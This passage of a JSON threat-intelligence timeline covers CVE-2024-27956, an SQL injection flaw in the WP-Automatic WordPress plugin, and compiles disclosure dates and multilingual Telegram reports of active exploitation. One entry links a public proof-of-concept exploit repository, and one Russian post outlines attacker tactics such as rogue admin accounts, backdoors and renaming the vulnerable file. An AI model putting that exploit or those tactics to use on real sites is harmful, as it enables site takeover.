{"metadata": {"vulnerability": "cve-2024-27956", "count": 224, "kinds": {"milestone": 5, "sighting": 197, "kev": 11, "other": 11}}, "data": [{"timestamp": "2024-02-28T16:45:36.408Z", "date_only": false, "value": "2024-02-28T16:45:36.408Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2024-27956", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-02-29T06:03:30.089Z", "date_only": false, "value": "2024-02-29T06:03:30.089582Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2024-27956", "record": "GSD-2024-27956", "field": "gsd.osvSchema.modified", "linked_record": true}, {"timestamp": "2024-03-21T17:01:14.106Z", "date_only": false, "value": "2024-03-21T17:01:14.106Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-27956", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2024-03-21T17:15:08Z", "date_only": false, "value": "2024-03-21T17:15:08Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-XV4R-44QP-78WM", "record": "GHSA-XV4R-44QP-78WM", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2024-03-21T17:15:08.437Z", "date_only": false, "value": "2024-03-21T17:15:08.437", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-27956", "record": "FKIE_CVE-2024-27956", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-03-21T17:15:08.437Z", "date_only": false, "value": "2024-03-21T17:15:08.437", "kind": "milestone", "label": "Published", "source": "gsd \u00b7 GSD-2024-27956", "record": "GSD-2024-27956", "field": "namespaces.nvd.nist.gov.cve.published", "linked_record": true}, {"timestamp": "2024-03-21T18:28:34.468Z", "date_only": false, "value": "2024-03-21T18:28:34.468477Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-27956", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2024-03-21T18:28:34.468Z", "date_only": false, "value": "2024-03-21T18:28:34.468477Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-27956", "record": "FKIE_CVE-2024-27956", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2024-03-21T18:32:03Z", "date_only": false, "value": "2024-03-21T18:32:03Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-XV4R-44QP-78WM", "record": "GHSA-XV4R-44QP-78WM", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-03-21T19:47:03.943Z", "date_only": false, "value": "2024-03-21T19:47:03.943", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2024-27956", "record": "GSD-2024-27956", "field": "namespaces.nvd.nist.gov.cve.lastModified", "linked_record": true}, {"timestamp": "2024-04-25T20:40:42Z", "date_only": false, "value": "2024-04-25T20:40:42.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityIL/43564", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "13f66ef9-1770-4d75-8832-d911f1ed1eb1", "content": "\u05e9\u05ea\u05d9 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05de\u05e0\u05d5\u05e6\u05dc\u05d5\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\"\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05d1\u05e2\u05d5\u05dc\u05dd \u05d5\u05db\u05d3\u05d0\u05d9 \u05dc\u05e9\u05d9\u05dd \u05d0\u05dc\u05d9\u05d4\u05df \u05dc\u05d1:\n\n- \u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1\u05e9\u05e8\u05ea\u05d9 CrushFTP \u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 - CVE-2024-4040 (\u05de\u05d1\u05d3\u05d9\u05e7\u05d4 \u05e7\u05e6\u05e8\u05d4 \u05d1\u05e9\u05d5\u05d3\u05d0\u05df \u05e0\u05e8\u05d0\u05d4 \u05e9\u05d9\u05e9 \u05db\u05de\u05d4 \u05e9\u05e8\u05ea\u05d9\u05dd \u05d1\u05d5\u05d3\u05d3\u05d9\u05dd \u05d1\u05d9\u05e9\u05e8\u05d0\u05dc)\n\n- \u05d7\u05d5\u05dc\u05e9\u05d4 SQLi \u05d1\u05e4\u05dc\u05d0\u05d2\u05d9\u05df WP Automatic \u05d4\u05de\u05e9\u05de\u05e9 \u05d0\u05ea\u05e8\u05d9\u05dd \u05d4\u05e2\u05d5\u05e9\u05d9\u05dd \u05e9\u05d9\u05de\u05d5\u05e9 \u05d1\u05e4\u05dc\u05d8\u05e4\u05d5\u05e8\u05de\u05ea \u05d5\u05d5\u05e8\u05d3\u05e4\u05e8\u05e1 - CVE-2024-27956. \u05d0\u05dd \u05d0\u05ea\u05dd \u05e2\u05d5\u05e9\u05d9\u05dd \u05e9\u05d9\u05de\u05d5\u05e9 \u05d1\u05e4\u05dc\u05d0\u05d2\u05d9\u05df \u05d0\u05d6 \u05ea\u05d6\u05d3\u05e8\u05d6\u05d5 \u05dc\u05e2\u05d3\u05db\u05df \u05dc\u05d2\u05e8\u05e1\u05d4 \u05d4\u05d0\u05d7\u05e8\u05d5\u05e0\u05d4.\n\nhttps://t.me/CyberSecurityIL/5052\n\n#\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea", "url": "https://t.me/CyberSecurityIL/43564"}, {"timestamp": "2024-04-26T08:00:07Z", "date_only": false, "value": "2024-04-26T08:00:07.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/4878", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e48f95af-a83e-4054-95f4-1cf041956440", "content": "\ud83d\udea8 Attention WordPress users! \n \nA critical SQL injection vulnerability (CVE-2024-27956) in the WP-Automatic plugin is being actively exploited. With a max severity of 9.9/10, this bug enables site takeovers and malicious activities. \n \nDetails: https://thehackernews.com/2024/04/hackers-exploiting-wp-automatic-plugin.html", "url": "https://t.me/thehackernews/4878", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-04-26T09:03:37Z", "date_only": false, "value": "2024-04-26T09:03:37.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/KomunitiSiber/1850", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "c402e47d-18bd-4354-a25b-ddfa24c31ff1", "content": "Hackers Exploiting WP-Automatic Plugin Bug to Create Admin Accounts on WordPress Sites\nhttps://thehackernews.com/2024/04/hackers-exploiting-wp-automatic-plugin.html\n\nThreat actors are attempting to actively exploit a critical security flaw in the WP\u2011Automatic plugin for WordPress that could allow site takeovers.\nThe shortcoming, tracked as\u00a0CVE-2024-27956, carries a CVSS score of 9.9 out of a maximum of 10. It impacts all versions of the plugin\u00a0prior to\u00a03.9.2.0.\n\"This vulnerability, a SQL injection (SQLi) flaw, poses a severe threat as", "url": "https://t.me/KomunitiSiber/1850", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-04-26T09:20:55Z", "date_only": false, "value": "2024-04-26T09:20:55.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/yzGbBxsOghOAqAuLNaR3rwZ7KI9_q4zrVkF6w3KXkP-NzaE", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "cd7b5c1e-978c-4d5c-84fb-ba58bab657dc", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-04-26T10:02:25Z", "date_only": false, "value": "2024-04-26T10:02:25.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/FN2CyBRBwYalXt_sXgKXgEXPTfes7zHyCSxu1jqjRdMNgg", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "c04c37e5-b479-4072-8bc2-0b9a20971055", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-04-26T11:41:46Z", "date_only": false, "value": "2024-04-26T11:41:46.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/BL9yvmtbKyYdg807Kyf61hIBzp9Xje0izG-Qb0NJJR5MYA", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6ba2d409-6850-48cd-8e12-1a5b3130afb5", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-04-26T11:41:47Z", "date_only": false, "value": "2024-04-26T11:41:47.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/tengkorakcybercrewz/1172", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "5f45dba4-bd67-4666-95a3-cf5e254fb31d", "content": "The Hacker News\nHackers Exploiting WP-Automatic Plugin Bug to Create Admin Accounts on WordPress Sites\n\nThreat actors are attempting to actively exploit a critical security flaw in the WP\u2011Automatic plugin for WordPress that could allow site takeovers.\nThe shortcoming, tracked as CVE-2024-27956, carries a CVSS score of 9.9 out of a maximum of 10. It impacts all versions of the plugin prior to 3.9.2.0.\n\"This vulnerability, a SQL injection (SQLi) flaw, poses a severe threat as", "url": "https://t.me/tengkorakcybercrewz/1172", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-04-26T11:41:47Z", "date_only": false, "value": "2024-04-26T11:41:47.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/tengkorakcybercrewz/6335", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e1f77aff-8ad9-4832-86bc-2b5e0543358c", "content": "The Hacker News\nHackers Exploiting WP-Automatic Plugin Bug to Create Admin Accounts on WordPress Sites\n\nThreat actors are attempting to actively exploit a critical security flaw in the WP\u2011Automatic plugin for WordPress that could allow site takeovers.\nThe shortcoming, tracked as CVE-2024-27956, carries a CVSS score of 9.9 out of a maximum of 10. It impacts all versions of the plugin prior to 3.9.2.0.\n\"This vulnerability, a SQL injection (SQLi) flaw, poses a severe threat as", "url": "https://t.me/tengkorakcybercrewz/6335", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-04-26T22:29:48Z", "date_only": false, "value": "2024-04-26T22:29:48.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CybNux/6242", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "b18e36db-7c7c-4a8b-9fae-7e4515420aa9", "content": "\u064a\u0648\u0627\u062c\u0647 \u0645\u0627\u0644\u0643\u0648 \u0645\u0648\u0627\u0642\u0639 WordPress \u062a\u0647\u062f\u064a\u062f\u064b\u0627 \u0623\u0645\u0646\u064a\u064b\u0627 \u062e\u0637\u064a\u0631\u064b\u0627 \u0628\u0633\u0628\u0628 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u062e\u0637\u064a\u0631\u0629 (CVE-2024-27956) \u0627\u0644\u062a\u064a \u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641\u0647\u0627 \u0641\u064a \u0627\u0644\u0645\u0643\u0648\u0646 \u0627\u0644\u0625\u0636\u0627\u0641\u064a WP Automatic \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0639\u0644\u0649 \u0646\u0637\u0627\u0642 \u0648\u0627\u0633\u0639. \u062a\u0633\u062a\u063a\u0644 \u0627\u0644\u062c\u0647\u0627\u062a \u0627\u0644\u0641\u0627\u0639\u0644\u0629 \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0647\u0630\u0627 \u0627\u0644\u062e\u0644\u0644 \u0628\u0634\u0643\u0644 \u0646\u0634\u0637 \u0644\u0644\u0633\u064a\u0637\u0631\u0629 \u0627\u0644\u0643\u0627\u0645\u0644\u0629 \u0639\u0644\u0649 \u0645\u0648\u0627\u0642\u0639 \u0627\u0644\u0648\u064a\u0628 \u0627\u0644\u0645\u0639\u0631\u0636\u0629 \u0644\u0644\u062e\u0637\u0631. \u062a\u0648\u0641\u0631 \u0647\u0630\u0647 \u0627\u0644\u0645\u0642\u0627\u0644\u0629 \u0634\u0631\u062d\u064b\u0627 \u0634\u0627\u0645\u0644\u0627\u064b \u0644\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0648\u062a\u0623\u062b\u064a\u0631\u0647\u0627 \u0648\u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062d\u0627\u0633\u0645\u0629 \u0627\u0644\u062a\u064a \u064a\u062c\u0628 \u0639\u0644\u0649 \u0645\u0633\u0624\u0648\u0644\u064a \u0645\u0648\u0627\u0642\u0639 \u0627\u0644\u0648\u064a\u0628 \u0627\u062a\u062e\u0627\u0630\u0647\u0627 \u0644\u062d\u0645\u0627\u064a\u0629 \u0645\u0648\u0627\u0642\u0639\u0647\u0645.\n\n\u0631\u0642\u0645 CVE-2024-27956\n\n\u0627\u0644\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0641\u0648\u0631\u064a: \u0627\u0644\u062e\u0637\u0648\u0629 \u0627\u0644\u0623\u0643\u062b\u0631 \u0623\u0647\u0645\u064a\u0629 \u0647\u064a \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0645\u0643\u0648\u0646 \u0627\u0644\u0625\u0636\u0627\u0641\u064a WP Automatic \u0625\u0644\u0649 \u0627\u0644\u0625\u0635\u062f\u0627\u0631 3.9.2.1 (\u0623\u0648 \u0627\u0644\u0623\u062d\u062f\u062b) \u0641\u064a \u0623\u0642\u0631\u0628 \u0648\u0642\u062a \u0645\u0645\u0643\u0646. \u064a\u0639\u0627\u0644\u062c \u0647\u0630\u0627 \u0627\u0644\u0625\u0635\u062f\u0627\u0631 \u0627\u0644\u0645\u0635\u062d\u062d \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0648\u064a\u0642\u0644\u0644 \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631 \u0645\u0646 \u062a\u0639\u0631\u0636 \u0645\u0648\u0642\u0639 \u0627\u0644\u0648\u064a\u0628 \u0627\u0644\u062e\u0627\u0635 \u0628\u0643.", "url": "https://t.me/CybNux/6242", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-04-26T22:31:25Z", "date_only": false, "value": "2024-04-26T22:31:25.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/Teamx1945x/5133", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "cb4d256d-f27a-4d26-acf8-20ec33f8eada", "content": "\u064a\u0648\u0627\u062c\u0647 \u0645\u0627\u0644\u0643\u0648 \u0645\u0648\u0627\u0642\u0639 WordPress \u062a\u0647\u062f\u064a\u062f\u064b\u0627 \u0623\u0645\u0646\u064a\u064b\u0627 \u062e\u0637\u064a\u0631\u064b\u0627 \u0628\u0633\u0628\u0628 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u062e\u0637\u064a\u0631\u0629 (CVE-2024-27956) \u0627\u0644\u062a\u064a \u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641\u0647\u0627 \u0641\u064a \u0627\u0644\u0645\u0643\u0648\u0646 \u0627\u0644\u0625\u0636\u0627\u0641\u064a WP Automatic \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0639\u0644\u0649 \u0646\u0637\u0627\u0642 \u0648\u0627\u0633\u0639. \u062a\u0633\u062a\u063a\u0644 \u0627\u0644\u062c\u0647\u0627\u062a \u0627\u0644\u0641\u0627\u0639\u0644\u0629 \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0647\u0630\u0627 \u0627\u0644\u062e\u0644\u0644 \u0628\u0634\u0643\u0644 \u0646\u0634\u0637 \u0644\u0644\u0633\u064a\u0637\u0631\u0629 \u0627\u0644\u0643\u0627\u0645\u0644\u0629 \u0639\u0644\u0649 \u0645\u0648\u0627\u0642\u0639 \u0627\u0644\u0648\u064a\u0628 \u0627\u0644\u0645\u0639\u0631\u0636\u0629 \u0644\u0644\u062e\u0637\u0631. \u062a\u0648\u0641\u0631 \u0647\u0630\u0647 \u0627\u0644\u0645\u0642\u0627\u0644\u0629 \u0634\u0631\u062d\u064b\u0627 \u0634\u0627\u0645\u0644\u0627\u064b \u0644\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0648\u062a\u0623\u062b\u064a\u0631\u0647\u0627 \u0648\u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062d\u0627\u0633\u0645\u0629 \u0627\u0644\u062a\u064a \u064a\u062c\u0628 \u0639\u0644\u0649 \u0645\u0633\u0624\u0648\u0644\u064a \u0645\u0648\u0627\u0642\u0639 \u0627\u0644\u0648\u064a\u0628 \u0627\u062a\u062e\u0627\u0630\u0647\u0627 \u0644\u062d\u0645\u0627\u064a\u0629 \u0645\u0648\u0627\u0642\u0639\u0647\u0645.\n\n\u0631\u0642\u0645 CVE-2024-27956\n\n\u0627\u0644\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0641\u0648\u0631\u064a: \u0627\u0644\u062e\u0637\u0648\u0629 \u0627\u0644\u0623\u0643\u062b\u0631 \u0623\u0647\u0645\u064a\u0629 \u0647\u064a \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0645\u0643\u0648\u0646 \u0627\u0644\u0625\u0636\u0627\u0641\u064a WP Automatic \u0625\u0644\u0649 \u0627\u0644\u0625\u0635\u062f\u0627\u0631 3.9.2.1 (\u0623\u0648 \u0627\u0644\u0623\u062d\u062f\u062b) \u0641\u064a \u0623\u0642\u0631\u0628 \u0648\u0642\u062a \u0645\u0645\u0643\u0646. \u064a\u0639\u0627\u0644\u062c \u0647\u0630\u0627 \u0627\u0644\u0625\u0635\u062f\u0627\u0631 \u0627\u0644\u0645\u0635\u062d\u062d \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0648\u064a\u0642\u0644\u0644 \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631 \u0645\u0646 \u062a\u0639\u0631\u0636 \u0645\u0648\u0642\u0639 \u0627\u0644\u0648\u064a\u0628 \u0627\u0644\u062e\u0627\u0635 \u0628\u0643.", "url": "https://t.me/Teamx1945x/5133", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-04-27T14:50:05Z", "date_only": false, "value": "2024-04-27T14:50:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/5688", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1b003f0b-e29e-44d2-a7a4-745a23762db9", "content": "WPScan \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 WP-Automatic \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0430\u0439\u0442\u043e\u0432 WordPress.\n\n\u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u0430\u044f \u043f\u0440\u0438 \u044d\u0442\u043e\u043c CVE-2024-27956 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 (SQLi) \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 9,9 \u0438\u0437 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445 10, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e 3.9.2.0.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0430\u043c, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0430, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u0441\u0430\u0439\u0442\u0430\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n\u0412 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0445 \u043a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0430\u0442\u0430\u043a\u0430\u0445 CVE-2024-27956 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0445 \u0443\u0447\u0435\u0442\u043e\u043a \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0430\u0439\u0442\u0430\u0445 WordPress, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043a\u043e\u0434\u0430.\n\n\u041f\u043e\u0441\u043b\u0435 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0430\u0439\u0442\u0430 WordPress \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u043f\u0435\u0440\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u044c, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u044b \u0438 \u0437\u0430\u043f\u0443\u0442\u044b\u0432\u0430\u044f \u043a\u043e\u0434. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0432\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0444\u0430\u0439\u043b WP\u2011Automatic (\u0441 /wp\u2011content/plugins/wp\u2011automatic/inc/csv.php \u043d\u0430 wp\u2011content/plugins/wp\u2011automatic/inc/csv65f82ab408b3.php), \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0434\u043b\u044f \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0430\u0442\u0430\u043a \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u043a\u043e\u043b\u043b\u0435\u0433.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u044b\u043b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442 Patchstack 13 \u043c\u0430\u0440\u0442\u0430 2024 \u0433\u043e\u0434\u0430. \n\n\u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 5,5 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0430\u0442\u0430\u043a \u0441 \u0446\u0435\u043b\u044c\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.", "url": "https://t.me/true_secator/5688", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-04-29T06:25:44Z", "date_only": false, "value": "2024-04-29T06:25:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Us_jsiVPd1Zr21cadDGbiDzpTShSlwaE-05NMwjgJC7HBw", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1e424c02-25c2-4a51-aa7f-84772a23acb9", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-01T02:02:16Z", "date_only": false, "value": "2024-05-01T02:02:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7193", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6bcfcfbf-6719-44fa-936c-084f57112c00", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPoC for wordpress takeover in CVE-2024-27956\nURL\uff1ahttps://github.com/diego-tella/CVE-2024-27956-RCE\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7193", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-02T21:36:54Z", "date_only": false, "value": "2024-05-02T21:36:54.000000Z", "kind": 